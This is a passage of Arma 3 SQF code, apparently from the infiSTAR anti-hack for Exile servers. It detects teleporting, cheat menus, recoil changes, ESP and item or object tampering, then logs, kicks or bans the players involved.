- _AHpos = uiNameSpace getVariable['"+_AHpos+"',[0,0,0]];
- uiNameSpace setVariable['"+_AHpos+"',[0,0,0]];
- if(_AHpos isEqualTo [0,0,0])then
- {
- _curpos = (vehicle player) call _fn_getPos;
- if((!isNull player)&&{alive player}&&{((typeOf player) isEqualTo 'Exile_Unit_Player')})then
- {
- _distance = _lastpos distance2D _curpos;
- if(_distance > 1)then
- {
- if(_lastpos distance _firstPos < 100 && !_firstPosTPUSED)exitWith{_firstPosTPUSED=true;};
- _exitHere = false;
- _ropeAttachedToObj = ropeAttachedTo _curVehicle;
- if(!isNull _ropeAttachedToObj)then
- {
- _driverRopeAttachedTo = driver _ropeAttachedToObj;
- if(isNull _driverRopeAttachedTo)then
- {
- {ropeDestroy _x;} forEach (ropes _ropeAttachedToObj);
- {ropeDestroy _x;} forEach (ropes _curVehicle);
- }
- else
- {
- if((getPlayerUID _driverRopeAttachedTo) isEqualTo '')then
- {
- if(local _driver)then
- {
- deleteVehicle _driver;
- player moveInDriver _curVehicle;
- };
- _log = format[
- 'TP with AI as driver.. Moved %1m (from %2 to %3) in %4 slingloaded to AI.. - Player FPS: %5.',
- round _distance,_lastpos,_curpos,_type,diag_fps
- ];
- [_name,_puid,'HLOG',toArray(_log)] call _AHKickLog;
- {ropeDestroy _x;} forEach (ropes _ropeAttachedToObj);
- {ropeDestroy _x;} forEach (ropes _curVehicle);
- }
- else
- {
- _exitHere = true;
- };
- };
- };
- if(_exitHere)exitWith{};
- _speed = round(abs(speed player));
- _difftime = diag_tickTime - _lasttime;
- _speedcalc = (_distance / _difftime)*3.6;
- _speedcalc = _speedcalc max _speed;
- _topSpeedcalcOLD = _topSpeedcalc;
- _topSpeed = (getNumber(configFile >> 'CfgVehicles' >> _type >> 'maxSpeed')) max 20;
- _factor = if(_type isKindOf 'Air')then{2.35}else{1.8};
- _topSpeedcalc = _topSpeed * _factor;
- if(isNull _oldVehicle)then{_topSpeedcalcOLD = _topSpeedcalc;};
- if(_speedcalc > _topSpeedcalc)then
- {
- if(_speedcalc > _topSpeedcalcOLD)then
- {
- _inTrader = call _fn_inTradeZone;
- if(!_inTrader)then
- {
- if(local _curVehicle)then
- {
- if(!_touchedground)then{
- "; if((getNumber(configFile >> 'CfgSettings' >> 'BambiSettings' >> 'parachuteSpawning')) isEqualTo 1)then{ _A3AHstring = _A3AHstring + "
- if((_speedcalc < 301)&&(!isTouchingGround player)&&(_curVehicle isKindOf 'ParachuteBase'))exitWith{_exitPlease = true;};
- "; }; _A3AHstring = _A3AHstring + "
- "; if((getNumber(configFile >> 'CfgSettings' >> 'BambiSettings' >> 'haloJump')) isEqualTo 1)then{ _A3AHstring = _A3AHstring + "
- if((_speedcalc < 99)&&(!isTouchingGround player)&&(player isEqualTo _curVehicle))exitWith{_exitPlease = true;};
- "; }; _A3AHstring = _A3AHstring + "
- };
- if(_exitPlease)exitWith{};
- if((_speedcalc < 100)&&(_type isEqualTo 'Exile_Bike_MountainBike'))exitWith{};
- if(_distance > 30)then
- {
- if(time - _revertcounterlastcount > 20)then{_revertcounter = 0;};_revertcounterlastcount=time;
- _revertcounter = _revertcounter + 1;
- _log = format[
- 'POTENTIAL-TP-REVERTED1: Moved %1m in %2s (from %3 to %4). TopSpeed of %5 is %6 speed was %7. Player FPS: %8. Alive for %9s%10',
- round _distance,_difftime,_lastpos,_curpos,_type,_topSpeed,_speedcalc,diag_fps,diag_tickTime - _livestarted,if(_inTrader)then{' - In Trader!'}else{''}
- ];
- if(_revertcounter > 2)then
- {
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- }
- else
- {
- [_name,_puid,'ANTI_TP',toArray(_log)] call _AHKickLog;
- };
- };
- _curvel = velocity _curVehicle;
- [_curVehicle,_lastpos] call _fn_setPos;
- _curVehicle setVelocity _curvel;
- }
- else
- {
- if!(_oldVehicle isEqualTo _curVehicle)then
- {
- if(_distance > 30)then
- {
- _log = format[
- 'POTENTIAL-TP-REVERTED2: Moved %1m in %2s (from %3 to %4). TopSpeed of %5 is %6 speed was %7. Player FPS: %8%9',
- round _distance,_difftime,_lastpos,_curpos,_type,_topSpeed,_speedcalc,diag_fps,if(_inTrader)then{' - In Trader!'}else{''}
- ];
- [_name,_puid,'ANTI_TP',toArray(_log)] call _AHKickLog;
- [player,_lastpos] call _fn_setPos;
- };
- };
- _driver = driver _curVehicle;
- if(!isNull _driver)then
- {
- if!(_driver in allPlayers)then
- {
- if(!alive _driver)exitWith
- {
- _driver action ['eject',_curVehicle];
- if(local _driver)then{deleteVehicle _driver;};
- };
- player moveInDriver _curVehicle;
- _log = format[
- 'TP with AI as driver.. Moved %1m in %2s (from %3 to %4). TopSpeed of %5 is %6 speed was %7. Player FPS: %8.',
- round _distance,_difftime,_lastpos,_curpos,_type,_topSpeed,_speedcalc,diag_fps
- ];
- [_name,_puid,'HLOG',toArray(_log)] call _AHKickLog;
- };
- };
- };
- };
- };
- };
- };
- _lastpos = (vehicle player) call _fn_getPos;
- }
- else
- {
- _firstPosTPUSED = false;
- _firstPos = player call _fn_getPos;
- _curVehicle = vehicle player;
- _oldVehicle = _curVehicle;
- _curpos = _curVehicle call _fn_getPos;
- _lastpos = _curVehicle call _fn_getPos;
- _type = typeOf _curVehicle;
- _topSpeedcalc = 0;
- _topSpeedcalcOLD = 0;
- _livestarted = diag_tickTime;
- _touchedground = false;
- _exitPlease = false;
- _revertcounter = 0;
- _revertcounterlastcount = 0;
- };
- }
- else
- {
- if(typename _AHpos isEqualTo 'ARRAY')then
- {
- _veh = vehicle player;
- if(local _veh)then
- {
- _veh setVelocity [0,0,0];
- _veh setVectorUp [0,0,1];
- _veh setPosATL _AHpos;
- _lastpos = _veh call _fn_getPos;
- };
- }
- else
- {
- _log = format['Admin Teleport Variable highjacked! %1 (%2)',_AHpos,typename _AHpos];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- _lasttime = diag_tickTime;
- _oldVehicle = _curVehicle;
- uiSleep 0.3;
- };
- "; }; _A3AHstring = _A3AHstring + "
- _iddchecks = {
- if(!isNull ((findDisplay 73) displayCtrl 302))then
- {
- _log = 'MenuBasedHack :: 73 :: 302';
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- if(diag_tickTime - _lastEmpty > 45)then
- {
- _lastEmpty = diag_tickTime;
- _checked = [];
- };
- if(_wasclosed)then
- {
- closeDialog 0;closeDialog 0;closeDialog 0;
- _wasclosed = false;
- };
- if(!isNull ((findDisplay 46) displayCtrl -2))then
- {
- _log = 'MenuBasedHack :: 46 :: -2';
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- {
- _display = findDisplay _x;
- if(!isNull _display)then
- {
- _txts = _display call _fn_get_texts;
- _log = format['MenuBasedHack: %1 CTRLS: %2',_x,_txts];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach [-1338,-1337,17,19,30,32,45,56,59,62,64,69,71,110,125,132,155,156,165,166,167,312,1320,1321,2727,2928,2929,3030,316000,9899,0110];
- {
- _control = _x;
- _ctrlTxt = ctrlText _control;
- _lowerctrlTxt = toLower _ctrlTxt;
- {
- if(_lowerctrlTxt find _x > -1)then
- {
- _log = format['BadCtrlText: %1 on %2 %3 - %4',_x,_display,_control,_ctrlTxt];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _verybadStrings;
- } forEach [((findDisplay 49) displayCtrl 2),((findDisplay 49) displayCtrl 103)];
- {
- _cc1 = uiNamespace getVariable _x;
- if(!isNil '_cc1')then
- {
- _formatedcc1 = format['%1',_cc1];
- if(_formatedcc1 != '<null>')then
- {
- if(_formatedcc1 != 'No display')then
- {
- _log = format['Hacked: %1 - %2',_x,_cc1];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- }
- else
- {
- uiNamespace setVariable[_x,nil];
- _log = format['Hacked: %1 - %2',_x,_cc1];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- };
- } forEach ['RscDisplayRemoteMissions','RscDisplayDebugPublic','RscDisplayMovieInterrupt','RscDisplayArsenal'];
- if(!isNull (uiNamespace getVariable['BIS_fnc_camera_display',displaynull]))then
- {
- _log = format['Hacked: BIS_fnc_camera_display -> %1',(uiNamespace getVariable['BIS_fnc_camera_display',displaynull])];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- _c101txt = ctrlText 101;
- if!(_c101txt in ['','ITEM','\A3\Data_F_Mark\Logos\arma3_Mark_logo_ca.paa','\A3\Data_F_Kart\Logos\arma3_karts_logo_ca.paa'])then
- {
- _log = format['ctrlText 101: %1',_c101txt];
- [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- {
- if(!isNull _x)then
- {
- _display = _x;
- _strdisplay = str _x;
- if(_strdisplay in _badIDDsToKick)then
- {
- _txts = _display call _fn_get_texts;
- _log = format['BadDisplayID: %1 CTRLS: %2',_display,_txts];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- }
- else
- {
- if(_strdisplay in _badIDDsToClose)then
- {
- systemChat format['<infiSTAR.de> %1 has been closed.',_strdisplay];
- _display closeDisplay 0;
- closeDialog 0;closeDialog 0;closeDialog 0;
- _wasclosed = true;
- }
- else
- {
- "; if(_UDW)then{ _A3AHstring = _A3AHstring + "
- if!(_strdisplay in _allowedIDDs)then
- {
- _index = _announceDisplayIddOnce pushBackUnique _strdisplay;
- if(_index > -1)then
- {
- _txts = _display call _fn_get_texts;
- _strl = count _strdisplay;
- _numbegin = (_strdisplay find '#') + 1;
- _numend = _strl - _numbegin;
- _idd = _strdisplay select [_numbegin,_numend];
- _log = format['Not Allowed Display with idd: %1',_idd];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- _log = format['Controls: %2',_txts];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- };
- _display closeDisplay 0;
- closeDialog 0;closeDialog 0;closeDialog 0;
- };
- "; }; _A3AHstring = _A3AHstring + "
- };
- };
- if(!isNull _display)then
- {
- {
- if(!isNull (_display displayCtrl _x))then
- {
- _log = format['MenuBasedHack :: %1 :: %2',_display,_x];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach [24010,16030,13163,989187,99991,16100];
- {
- _control = _x;
- _checkifIn = format['%1%2',_display,_control];
- _index = _checked pushBackUnique _checkifIn;
- if(_index > -1)then
- {
- _controltype = ctrlType _control;
- if(_controltype isEqualTo 5)then
- {
- _size = lbSize _control;
- if(_size > 0)then
- {
- for '_i' from 0 to (_size-1) do
- {
- _lbtxt = _control lbText _i;
- _lowerlbtxt = toLower _lbtxt;
- {
- if(_lowerlbtxt find _x > -1)then
- {
- _log = format['BadlbText: %1 FOUND [%2] ON %3 %4',_lbtxt,_x,_display,_control];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _verybadStrings;
- };
- };
- }
- else
- {
- if(_controltype isEqualTo 12)then
- {
- _curTV = tvCurSel _control;
- _tvtxt = _control tvText _curTV;
- _lowertvtxt = toLower _tvtxt;
- {
- if(_lowertvtxt find _x > -1)then
- {
- _log = format['BadtvText: %1 FOUND [%2] ON %3 %4',_tvtxt,_x,_display,_control];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _verybadStrings;
- }
- else
- {
- if!(_controltype in [3,4,8,9,15,42,81,101,102])then
- {
- _ctrlTxt = ctrlText _control;
- _lowerctrlTxt = toLower _ctrlTxt;
- {
- if(_lowerctrlTxt find _x > -1)then
- {
- _log = format['BadCtrlText: %1 FOUND [%2] ON %3 %4',_ctrlTxt,_x,_display,_control];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _verybadStrings;
- };
- };
- };
- };
- } forEach (allControls _display);
- };
- };
- } forEach allDisplays;
- "; if(_check_Notifications)then{ _A3AHstring = _A3AHstring + "
- if(!isNil 'BIS_fnc_showNotification_queue')then
- {
- if(typeName BIS_fnc_showNotification_queue isEqualTo 'ARRAY')then
- {
- {
- if(!isNil'_x')then
- {
- if(typeName _x isEqualTo 'ARRAY')then
- {
- {
- _array = nil;
- _array = _x select 9;
- if(!isNil'_array')then
- {
- {
- if!(_x isEqualTo '')then
- {
- _log = format['Hacked: showNotification - %1',_x];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- BIS_fnc_showNotification_queue = [];
- };
- } forEach _array;
- };
- } forEach _x;
- };
- };
- } forEach BIS_fnc_showNotification_queue;
- }
- else
- {
- _log = format['Hacked: showNotification type changed to %1',typeName BIS_fnc_showNotification_queue,BIS_fnc_showNotification_queue];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- _uiNamespace_dynamicText = uiNamespace getVariable 'BIS_dynamicText';
- if(!isNil '_uiNamespace_dynamicText')then
- {
- _allCtrls = allControls _uiNamespace_dynamicText;
- _whiteListed = ['','Debug Mode Enabled'];
- {if(getPlayerUID _x != '')then{_whiteListed pushBack (name _x);};} forEach playableUnits;
- {
- _ctrl = _x;
- _txt = ctrlText _ctrl;
- if(_txt != _lastText)then
- {
- if!(_txt in _whiteListed)then
- {
- _lastText = _txt;
- _ltxt = toLower _txt;
- {
- if(_ltxt find _x != -1)then
- {
- _log = format['BadText on %1: %2 - %3',_ctrl,_x,_txt];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- } forEach _verybadStrings;
- };
- };
- } forEach _allCtrls;
- };
- "; if(_CMC)then{ _A3AHstring = _A3AHstring + "
- _cmdm = commandingMenu;
- if(_cmdm != '')then
- {
- _cmdm = toLower _cmdm;
- if(_cmdm in _find1)then
- {
- showCommandingMenu '';
- }
- else
- {
- if!(_cmdm in _find2)then
- {
- if(_cmdm select [0,6] isEqualTo '#user:')then
- {
- _log = format['BadCommandingMenu: %1',_cmdm];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- }
- else
- {
- showCommandingMenu '';
- systemChat format['<infiSTAR.de> commandingMenu: %1 - not Allowed. Please ask your Servers Admin for more Information..!',_cmdm];
- };
- };
- };
- "; if(_KCM)then{ _A3AHstring = _A3AHstring + "
- showCommandingMenu '';
- "; }; _A3AHstring = _A3AHstring + "
- };
- "; }else{ _A3AHstring = _A3AHstring + "
- "; if(_KCM)then{ _A3AHstring = _A3AHstring + "
- showCommandingMenu '';
- "; }; _A3AHstring = _A3AHstring + "
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_CMM)then{ _A3AHstring = _A3AHstring + "
- _display12 = findDisplay 12;
- if(!isNull _display12)then
- {
- _selected = lbSelection (_display12 displayCtrl 1001);
- if(!(_selected isEqualTo [2])&&!(_selected isEqualTo [3]))then
- {
- _control1 = _display12 displayCtrl 1002;
- _size = lbSize _control1;
- if(_size > 2)then
- {
- _texts = [];
- for '_i' from 0 to (_size-1) do
- {
- _lbtxt = _control1 lbText _i;
- _texts pushBack _lbtxt;
- };
- _log = format['Map Sub-Menu %1 size has been changed to %2. Found: %3',_selected,_size,_texts];
- [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- lbClear _control1;
- };
- };
- _control2 = _display12 displayCtrl 1001;
- _lsize = lbSize _control2;
- if(_lsize > "+str _maxMapMenuEntries+")then
- {
- if(!_mapMenuLogged)then
- {
- _mapMenuLogged = true;
- _texts = [];
- for '_i' from 0 to (_lsize-1) do
- {
- _lbtxt = _control2 lbText _i;
- _texts pushBack _lbtxt;
- };
- _log = format['Map Menu has been changed %1 entries found - Texts: %2',_lsize,_texts];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- };
- for '_i' from ("+str _maxMapMenuEntries+")+1 to _lsize do
- {
- _control2 lbDelete _i;
- };
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- if(isNull player)then{(findDisplay 46)closeDisplay 0;};
- _type = typeOf player;
- if!(_type isEqualTo 'Exile_Unit_Player')then
- {
- if((currentWeapon player != '')||(player != vehicle player))then
- {
- if((getPos player) distance2D _start_player_pos > 500)then
- {
- _log = format['Player is BADTYPE (invisible hack?): %1 - %2 %3 @%4 %5(KICKED)',_type,player,vehicle player,getPos player,mapGridPosition player];
- [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- };
- };
- "; if(_URC)then{ _A3AHstring = _A3AHstring + "
- _unit = player;
- if((!isNull _unit)&&{alive _unit})then
- {
- _curecoil = unitRecoilCoefficient _unit;
- if(_curecoil != 1)then
- {
- _log = format['BadRecoil %1 | %2 %3 %4',_curecoil,typeOf _unit,typeOf (vehicle _unit),currentWeapon _unit];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- _veh = vehicle player;
- if(isNull objectParent player)then
- {
- "; if((_LVC)&&(!_UAT))then{ _A3AHstring = _A3AHstring + "
- _type = typeOf player;
- if!(_type isEqualTo 'Exile_Unit_GhostPlayer')then
- {
- _netId = netId player;
- if!(_netId select [0,2] isEqualTo '2:')then
- {
- _log = format['Not Local PlayerObject: %1 with netId %2 @%3',typeOf player,_netId,getPos player];
- deleteVehicle player;
- [_name,_puid,'TMPBAN',toArray(_log),time + 600] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- }
- else
- {
- "; if((_LVC)&&(!_UAT))then{ _A3AHstring = _A3AHstring + "
- _netId = netId player;
- if(_netId isEqualTo '0:0')then
- {
- _type = typeOf _veh;
- _log = format['LocalVehicle: %1 with netId 0:0 @%2',_type,getPosATL _veh];
- deleteVehicle _veh;
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- };
- "; }; _A3AHstring = _A3AHstring + "
- _ropeAttachedObjects = ropeAttachedObjects _veh;
- if!(_ropeAttachedObjects isEqualTo [])then
- {
- if(!isNull _x)then
- {
- if(locked _x isEqualTo 2)exitWith
- {
- {ropeDestroy _x;} forEach (ropes _veh);
- {ropeDestroy _x;} forEach (ropes _x);
- _log = 'You can not SlingLoad / Rope Attach a locked vehicle!';
- systemChat ('<infiSTAR.de> '+_log);
- cutText [_log, 'PLAIN'];
- _log = format['Slingloaded / Rope Attached a locked vehicle: %1',_x];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- };
- if(!ropeAttachEnabled _x)exitWith
- {
- {ropeDestroy _x;} forEach (ropes _veh);
- {ropeDestroy _x;} forEach (ropes _x);
- _log = 'You can not SlingLoad / Rope Attach this vehicle!';
- systemChat ('<infiSTAR.de> '+_log);
- cutText [_log, 'PLAIN'];
- _log = format['Slingloaded / Rope Attached a vehicle that has ropeAttach disabled!: %1',_x];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- };
- "; if(_slingload_check)then{ _A3AHstring = _A3AHstring + "
- if!(crew _x isEqualTo [])exitWith
- {
- {ropeDestroy _x;} forEach (ropes _veh);
- {ropeDestroy _x;} forEach (ropes _x);
- _log = 'You can not SlingLoad / Rope Attach a vehicle with a crew!';
- systemChat ('<infiSTAR.de> '+_log);
- cutText [_log, 'PLAIN'];
- };
- "; }; _A3AHstring = _A3AHstring + "
- };
- };
- };
- {
- _obj = agent _x;
- if(local _obj)then
- {
- _weapons = weapons _obj;
- _magazines = magazines _obj;
- _items = items _obj;
- if(count _weapons > 0 || count _magazines > 0 || count _items > 0)then
- {
- deleteVehicle _obj;
- _log = format['Loadout Bot found @%1 %2 with [%3,%4,%5]',position _obj,mapGridPosition _obj,_weapons,_magazines,_items];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- } forEach agents;
- "; if(_attach_to_check)then{ _A3AHstring = _A3AHstring + "
- if(diag_tickTime > _checkedclose)then
- {
- _checkedclose = diag_tickTime + 10;
- _veh = vehicle player;
- _closeveh = [_veh];
- _closeveh append (_veh nearEntities ['AllVehicles',100]);
- {
- if(!isNull _x)then
- {
- _xobj = _x;
- if(!isNull _xobj)then
- {
- _attcheXdobjects = attachedObjects _x;
- if!(_attcheXdobjects isEqualTo [])then
- {
- _cntQd = {(toLower (typeOf _x)) find 'quad' != -1} count _attcheXdobjects;
- if(_cntQd > 5)then
- {
- detach _xobj;
- {detach _x;} forEach _attcheXdobjects;
- if(_xobj isEqualTo _veh)then
- {
- _log = format['x attached to vehicle player: %1 - %2 @%3 %4',typeOf _xobj,_attcheXdobjects,position player,mapGridPosition player];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- }
- else
- {
- _log = format['Attached Objects found: %1 - %2 @%3 %4',typeOf _xobj,_attcheXdobjects,position _xobj,mapGridPosition _xobj];
- [_name,_puid,'HLOG',toArray(_log)] call _AHKickLog;
- };
- };
- if(_veh in _attcheXdobjects)then
- {
- detach _veh;
- _log = format['vehicle player attached to x: %1 - %2 @%3 %4',typeOf _xobj,_attcheXdobjects,position player,mapGridPosition player];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- };
- };
- } forEach _closeveh;
- };
- "; }; _A3AHstring = _A3AHstring + "
- if((groupIconsVisible isEqualTo [true,false])||(groupIconsVisible isEqualTo [false,true]))then
- {
- _log = format['ESP/MAP-HACK (groupIcons): %1',groupIconsVisible];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- uiSleep .75;
- };
- _slowloop = {
- if!((str _randvar3) isEqualTo (str ('test'+str _random)))then
- {
- _log = format['_randvar3 has been changed to %1',_randvar3];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- "; if(_CAP)then{ _A3AHstring = _A3AHstring + "
- if(player isEqualTo _object)then[{_acnt = _acnt + 1},{_object = player;_acnt = 0}];
- _actionid = player addAction ['', '', [], -5, false, true, '', 'false'];player removeAction _actionid;
- if(_actionid > _acnt + 1)then
- {
- removeAllActions player;removeAllActions (vehicle player);
- _acnt = _actionid;
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_UFI||_UIW)then{ _A3AHstring = _A3AHstring + "
- _inventory = [];
- {_inventory pushBack _x;} forEach (assignedItems player);
- {_inventory pushBack _x;} forEach (magazines player);
- {_inventory pushBack _x;} forEach (weapons player);
- {_inventory pushBack _x;} forEach (primaryWeaponItems player);
- {_inventory pushBack _x;} forEach (secondaryWeaponItems player);
- _inventory pushBack (primaryWeapon player);
- _inventory pushBack (secondaryWeapon player);
- _inventory pushBack (uniform player);
- _inventory pushBack (vest player);
- _inventory pushBack (backpack player);
- _inventory pushBack (headgear player);
- _inventory pushBack (goggles player);
- if!(_inventory isEqualTo [])then
- {
- {
- if(_x != '')then
- {
- if((_x in "+str _ForbiddenItems+") || (("+str _UIW+") && !(_x in "+str _ItemWhiteList+")))then
- {
- player removeItem _x;
- player removeWeapon _x;
- player removeMagazine _x;
- if((uniform player) == _x)then{removeUniform player;};
- if((vest player) == _x)then{removeVest player;};
- if((backpack player) == _x)then{removeBackpack player;};
- if((headgear player) == _x)then{removeHeadgear player;};
- if((goggles player) == _x)then{removeGoggles player;};
- player removePrimaryWeaponItem _x;
- player removeSecondaryWeaponItem _x;
- player unlinkItem _x;
- _log = format['BadItem: %1 (might have been from an admin!)',_x];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- };
- };
- } forEach _inventory;
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_checkHiddenObjects)then{ _A3AHstring = _A3AHstring + "
- _pos = getPos player;
- _objects = nearestObjects [_pos, ['Exile_Construction_Abstract_Static','AbstractConstruction','Exile_Construction_Flag_Static'], 250];
- {
- if(isObjectHidden _x)then
- {
- _log = format['Invisible OBJECT: %1 @%2 %3',typeOf _x,getPos _x,mapGridPosition _x];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _objects;
- "; }; _A3AHstring = _A3AHstring + "
- uiSleep 5;
- };
- "; if((_wall_look)||(_wall_glitch_object)||(_wall_glitch_vehicle))then{ _A3AHstring = _A3AHstring + "
- _bigInputArray pushBack [
- [_name,_uid,_AHKickOFF,_AHKickLog,_glitchcode],
- {
- scriptName '2';
- _name = _this select 0;
- _puid = _this select 1;
- _AHKickOFF = _this select 2;
- _AHKickLog = _this select 3;
- _fn_check_allowed_build = {
- _flags = player nearObjects ['Exile_Construction_Flag_Static', 50];
- if(_flags isEqualTo [])exitWith{false};
- _val = true;
- {
- _radius = _x getVariable['ExileTerritorySize', -1];
- if((player distance2D _x) < _radius)then
- {
- _buildRights = _x getVariable['ExileTerritoryBuildRights', []];
- {
- if((getPlayerUID _x) in _buildRights)exitWith
- {
- _val = false;
- };
- } forEach (units(group player));
- };
- if(!_val)exitWith{};
- } forEach _flags;
- _val
- };
- "; if(_wall_look)then{ _A3AHstring = _A3AHstring + "
- _faded = false;
- _fadeTimer = time;
- _dis_head = 0.20;
- _dis_weapon_l = 0.20;
- _dis_weapon_r = 0.30;
- _dir_weapon_r = 0;
- _dir_weapon_l = 0;
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_wall_glitch_object)then{ _A3AHstring = _A3AHstring + "
- _floorGlitchReported = time;
- _wallGlitchReported = time;
- _fn_push_back = {
- _vel = velocity player;
- _dir = getDirVisual player;
- _speed = -15;
- player setVelocity [
- (_vel select 0) + (sin _dir * _speed),
- (_vel select 1) + (cos _dir * _speed),
- -1
- ];
- };
- _fn_check_object = {
- if(_type isEqualTo 'Exile_Construction_ConcreteFloor_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_WoodFloor_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_WoodFloor_Reinforced_Static')exitWith{true};
- _floor = false;
- if(_type isEqualTo 'Exile_Construction_ConcreteWall_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_WoodWall_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_WoodWall_Reinforced_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_WoodWallHalf_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_WoodWallHalf_Reinforced_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_ConcreteWindow_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_ConcreteWindowHatch_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_WoodWindow_Static')exitWith{true};
- if(_type isEqualTo 'Exile_Construction_WoodWindow_Reinforced_Static')exitWith{true};
- if((_type isEqualTo 'Exile_Construction_ConcreteDoor_Static')&&(_x animationPhase 'DoorRotation' isEqualTo 0))exitWith{true};
- if((_type isEqualTo 'Exile_Construction_WoodDoor_Static')&&(_x animationPhase 'DoorRotation' isEqualTo 0))exitWith{true};
- if((_type isEqualTo 'Exile_Construction_WoodDoor_Reinforced_Static')&&(_x animationPhase 'DoorRotation' isEqualTo 0))exitWith{true};
- if((_type isEqualTo 'Exile_Construction_ConcreteGate_Static')&&(_x animationPhase 'DoorRotationLeft' isEqualTo 0))exitWith{true};
- if((_type isEqualTo 'Exile_Construction_WoodGate_Static')&&(_x animationPhase 'DoorRotationLeft' isEqualTo 0))exitWith{true};
- if((_type isEqualTo 'Exile_Construction_WoodGate_Reinforced_Static')&&(_x animationPhase 'DoorRotationLeft' isEqualTo 0))exitWith{true};
- false
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_wall_glitch_object)then{ _A3AHstring = _A3AHstring + "
- _glitchcounter = 0;
- _lastglitch = time;
- _fn_punish_glitch = {
- if(time - _lastglitch > 180)then{_glitchcounter = 0;};
- _lastglitch = time;
- call {
- if(_glitchcounter >= 3)exitWith
- {
- [_name,_puid,'TMPBAN',toArray(_log),time + 300] call _AHKickLog;
- [] call _AHKickOFF;
- };
- if(_glitchcounter >= 2)exitWith
- {
- [_name,_puid,'SLOG_GLITCH',toArray(_log),player,clientOwner] call _AHKickLog;
- };
- if(_glitchcounter >= 1)exitWith
- {
- [_name,_puid,'SLOG_GLITCH',toArray(_log)] call _AHKickLog;
- player action ['TOUCHOFF',player];
- };
- };
- _glitchcounter = _glitchcounter + 1;
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_wall_glitch_vehicle)then{ _A3AHstring = _A3AHstring + "
- _GetOutMan = ""
- params['_unit','_position','_vehicle','_turret'];
- if (_unit == player) then {
- _visualPos = getPosATLVisual _vehicle;
- _visualPos set[2, (_visualPos select 2) + 1];
- _dirTo = [_vehicle, player] call BIS_fnc_dirTo;
- _secondPos = [_visualPos, (_vehicle distance2D player) + 1, _dirTo] call BIS_fnc_relPos;
- {
- if(_x isKindOf 'Exile_Construction_Abstract_Static')exitWith
- {
- player setPos (getPos _vehicle);
- player moveInAny _vehicle;
- if(call '+str _fn_check_allowed_build+')then
- {
